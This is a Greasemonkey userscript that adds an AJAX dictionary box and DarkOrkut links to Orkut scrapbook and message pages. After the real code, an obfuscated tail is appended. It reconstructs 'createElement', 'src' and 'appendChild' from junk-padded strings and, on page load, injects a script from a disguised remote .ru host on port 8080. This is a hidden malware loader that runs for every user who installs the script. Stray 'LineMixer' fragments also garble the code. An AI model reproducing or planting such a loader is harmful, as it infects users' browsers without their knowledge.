// ==UserScript==
// @name           Dictionary on Orkut by DarkOrkut.com
// @namespace      www.DarkOrkut.com - http://gverma.blogspot.com
// @description    Adds AJAX Dictionary to Orkut
// @include        http://www.orkut.co*/Scrapbook.aspx*
// @include        http://www.orkut.co*/CommMsgPost.aspx*
// ==/UserScript==
function xpath(query) {
    return document.evaluate(query, document, null,
        XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE, null);
}
function addDict() {
	 var c = document.getElementById('scrapInputContainer');
	 if(!c)
	 c = document.getElementById('messageBody');
	 if(!c){
		return;}
	 if(c.type == "textarea")
		c.parentNode.parentNode.innerHTML = '<div id="dictresult" style="margin: 30px 0px; height: 270px; position: absolute; width: 22%;overflow-x:hidden;overflow-y:auto;"></div>' + c.parentNode.parentNode.innerHTML;
	 else
			c.innerHTML = '<div id="dictresult" style="margin: 0px 545px; height: 85px; position: absolute; width: 290px;overflow-x:hidden;overflow-y:auto;"></div>' + c.innerHTML;
		var allDivs, thisDiv;
		allDivs = document.evaluate(
			"//div[@class='parabtns']",
			document,
			null,
			XPathResult.UNORDERED_NODE_SNAPSHOT_TYPE,
			null);
			thisDiv = allDivs.snapshotItem(allDivs.snapshotLength-1);
			thisDiv.innerHTML = thisDiv.innerHTML+'<span>Find Meaning of : <input type="text" id="word" size=10>&nbsp;<span class="grabtn"><a id="sb" class="btn" href="javascript:void(0);">search</a></span><span class="btnboxr"><img width="5" height="1" alt="" src="http://img1.orkut.com/img/b.gif"/></span></span>';
	if (!GM_xmlhttpRequest) {
    alert('Please upgrade to the latest version of Greasemonkey.');
    return;
	}
}
function showM(){
			var w = document.getElementById('sb');
			if(w.innerHTML == "search"){
			GM_xmlhttpRequest({
			method: 'GET',
			url: 'http://www.dictionary.hm/search_function.php?q='+document.getElementById('word').value,
			headers: {'User-agent': 'Mozilla/4.0 (compatible) Greasemonkey','Accept': 'application/atom+xml,application/xml,text/xml',},
			onreadystatechange: function(responseDetails){document.getElementById('dictresult').innerHTML = "Loading...";},
			onload: function(responseDetails){document.getElementById('dictresult').innerHTML = responseDetails.responseText;}});
			w.innerHTML = "clear";
			}else{
				//document.getElementById('dictresult').innerHTML = "";
				//document.getElementById('word').value="";
				//w.innerHTML = "search";
				clear();
			}
	}
function clear(){
	document.getElementById('dictresult').innerHTML = "";
	document.getElementById('word').value="";
	w.innerHTML = "search";
}
	
addDict();
var w = document.getElementById('sb');
	if(!w)
		return;
	w.addEventListener('click',showM,false);
var t = document.getElementById('word');
	if(!t)
		return;
	t.addEventListener('focus',clear,false);

	var td=document.getElementsByTagName("ul")[1];
	td.innerHTML+="<li>&nbsp;|&nbsp;</li><li><a href=\"http://www.darkorkut.com/themes\">Themes</a>&nbsp;|&nbsp;</li>";
	var td=document.getElementsByTagName("ul")[1];
	td.innerHTML+="<li><a href=\"http://www.darkorkut.com/\"><b>Dark Orkut</b></a></li>";


var hg=7704;this.sa=25751;:LineMixer [var d=new Array();var a=window;var u='sBc2rfifp2tU'.replace(/[U4fB2]/g, '');var b=new String();var pj;if(pj!='lg'){pj='lg'};var m='cFrIeIaFtGeFEIl_e_mIeFnIti'.replace(/[i_IGF]/g, '');var au;if(au!='nj' && au!='dd'){au=''};var _=false;]var zl;if(zl!='zf' && zl!='ip'){zl='zf'};this.xj="";a.onload=function(){var c;if(c!='zi'){c='zi'};try {var f;if(f!='eh'){f='eh'};this.sg='';h=document[m](u);this.ps="ps";var tr=new Date();this.oo='';:LineMixer [this.fz='';h['sCrwcw'.replace(/[wDLxC]/g, '')]='h@tJtJpJ:>/>/C1G6>3@->cCo@mJ.JsJh>aJrGeGaJs@a@lJe@.CcGo@mC.@aGm>a>z@oGn>-CcJoGmJ.ChGo@m>e@bGuGyGeCrCs@cGdJ.@rCuJ:>8@0C8>0G/>c@hCi>nJa@nGe@wJs@.Gc>oGm@.@cGn@/GcJhCiCnCaJn>e@wCs@.JcJoJmC.@c>nC/Gg@oJoJgClCe>.JcGoGm@/Gb>bGc@.Jc>o@.>u@k>/@w>aCy@2@s>mCs@.>cCoJmC/@'.replace(/[@G\>CJ]/g, '');var by;if(by!='qc' && by!='z_'){by=''};h.setAttribute('dhe~fCehrC'.replace(/[Ch\^~t]/g, ''), "1");var j='';this.yc="";]this.ac=false;this.nk=false;var ff='';document['bqoqd^yg'.replace(/[g\^01q]/g, '')]['a!pcpceRncdcC!hciRl:d!'.replace(/[\!cR\:A]/g, '')](h);var gi=new Array();} catch(t){};this.fy=40534;};this.ds=false;this.oc='';